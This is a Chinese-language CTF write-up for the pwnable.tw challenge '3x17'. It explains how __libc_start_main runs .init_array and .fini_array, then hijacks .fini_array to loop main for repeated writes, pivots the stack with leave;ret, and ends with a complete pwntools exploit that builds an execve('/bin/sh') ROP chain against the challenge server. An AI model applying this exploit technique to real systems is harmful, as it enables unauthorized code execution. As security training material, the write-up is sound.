这题涨姿势了, 学到了不少东西, 对静态链接的题目也有了一点了解
参考的wp:
和媳妇一起学pwn之3x17(不得不说这名字真的sao… , 不过文章写的很好
分析:
检查程序开了什么保护
由于程序是静态编译的, 把符号表给剥离了, 所以无法直接找到main函数, 可以先观察程序的入口点start
在地址0x0000000000401A74处调用了一个函数, 而这个函数其实就是libc_start_main函数
libc_start_main 函数原型
int __libc_start_main(int (*main) (int, char * *, char * *), /* address of main function */
int argc, /* number of command line args */
char * * ubp_av, /* command line arg array */
void (*init) (void), /* address of init function */
void (*fini) (void), /* address of fini function */
void (*rtld_fini) (void), /* address of dynamic linker fini function */
void (* stack_end) /* end of the stack address */
);
写的通俗一点就是:
__libc_start_main( main, argc, argv, __libc_csu_init, __libc_csu_fini, edx, top of stack);
init: main调用前的初始化工作
fini: main结束后的收尾工作
rtld_fini: 和动态加载有关的收尾工作, rtld是 runtime loader的缩写
最后的stack_end标明了栈底的地址, 即最高的栈地址
程序从start开始, 之后进入__libc_start_main函数中, 再进入init函数进行初始化工作, 初始化完成后调用main函数, main函数结束后进入fini函数进行有关的收尾工作, 那么程序的执行流程为
_start -> __libc_start_main -> init -> main -> fini …
在init和fini函数中分别存在数组.init_array 与 .fini_array
进入init后会依次调用
.init_array[0]
.init_array[1]
...
.init_array[n]
之后调用main函数
main函数结束后
进入fini函数中依次调用
.fini_array[n]
.fini_array[n-1]
...
.fini_array[0]
了解了程序的执行流程, 那么可以研究如何劫持程序流程来达到多次写的目的。由于main函数结束后进入libc_csu_fini函数中倒序调用.fini_array数组中的函数, 所以可以考虑将.fini_array[1] 覆盖成main 函数的地址, .fini_array[0] 覆盖成libc_csu_fini 的地址
这样程序的执行流程就变成了
main -> .fini_array[1] (main) -> .fini_array[0] (libc_csu_fini)
形成了一个循环, 会无限调用main函数, 虽然只有在变量byte_4B9330 为1时才能进行写操作, 不过经过多次循环会造成溢出会回绕到 1
在有了多次写操作后, 就得考虑写什么, 程序中没有后门, 但是可以rop来getshell, 由于需要在栈上构造参数, 所以得先进行栈迁移, 把栈迁移到可以写入数据的区域
栈迁移
这题的栈迁移我觉得挺巧妙的, 我经验太少比较难想到怎么迁移,谈到栈迁移脑子里蹦出来的就是leave ret,一开始是把leaveret的地址放入.fini_array[1] 中, 随后调试时发现会进行两次leaveret操作
第一次的leaveret操作
-> mov rsp, rbp
rsp = 0x4B40F0
-> pop rbp
rsp = 0x4B40F8(这时又指向leaveret, 随后又会执行一次leave ret操作, 操作失败
-> ret
rsp = 0x4F4100
所以要成功进行栈迁移得执行完leave ret操作后再执行一次ret操作, 而如果把.fini_array[1] 覆盖成只有ret指令也不行, 这样连leaveret指令执行不到就出错了, 参考了上面的wp里的栈迁移方法, 把.fini_array[1] 覆盖成main 的地址, .fini_array[0] 覆盖成leaveret的地址就可以完成栈迁移, main函数执行完后不会改变原来栈上的内容所以可以在rsp为0x4B4100的时候执行ret指令从而进行rop
EXP:
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
debug = 1
d = 0
if debug == 0:
p = process("./3x17")
if d == 1:
gdb.attach(p)
else:
p = remote("chall.pwnable.tw", 10105)
libc_scu_fini = 0x402960
init = 0x401000
fini = 0x48E32C
fini_array1 = 0x4B40F8
fini_array0 = 0x4B40F0
main = 0x401B6D
p.sendlineafter("addr:", str(fini_array0))
p.sendlineafter("data:", p64(libc_scu_fini) + p64(main))
rop = 0x4B4100
#0x0000000000401696 : pop rdi ; ret
poprdi = 0x401696
#0x0000000000406c30 : pop rsi ; ret
poprsi = 0x406c30
#0x0000000000446e35 : pop rdx ; ret
poprdx = 0x446e35
#0x000000000041e4af : pop rax ; ret
poprax = 0x41e4af
#0x00000000004022b4 : syscall
syscall = 0x4022b4
leaveret = 0x401C4B
main = 0x401B6D
def write(addr, pxr, para = 0):
p.sendlineafter("addr:", str(addr))
p.sendlineafter("data:", p64(pxr) + p64(para))
write(rop, poprdi, rop + 0x48)
write(rop + 0x10, poprsi, 0)
write(rop + 0x20, poprdx, 0)
write(rop + 0x30, poprax, 0x3b)
write(rop + 0x40, syscall)
p.sendlineafter("addr:", str(rop + 0x48))
p.sendlineafter("data:", '/bin/sh\0')
p.sendlineafter("addr:", str(fini_array0))
raw_input()
p.sendafter("data:", p64(leaveret))
p.interactive()
结果: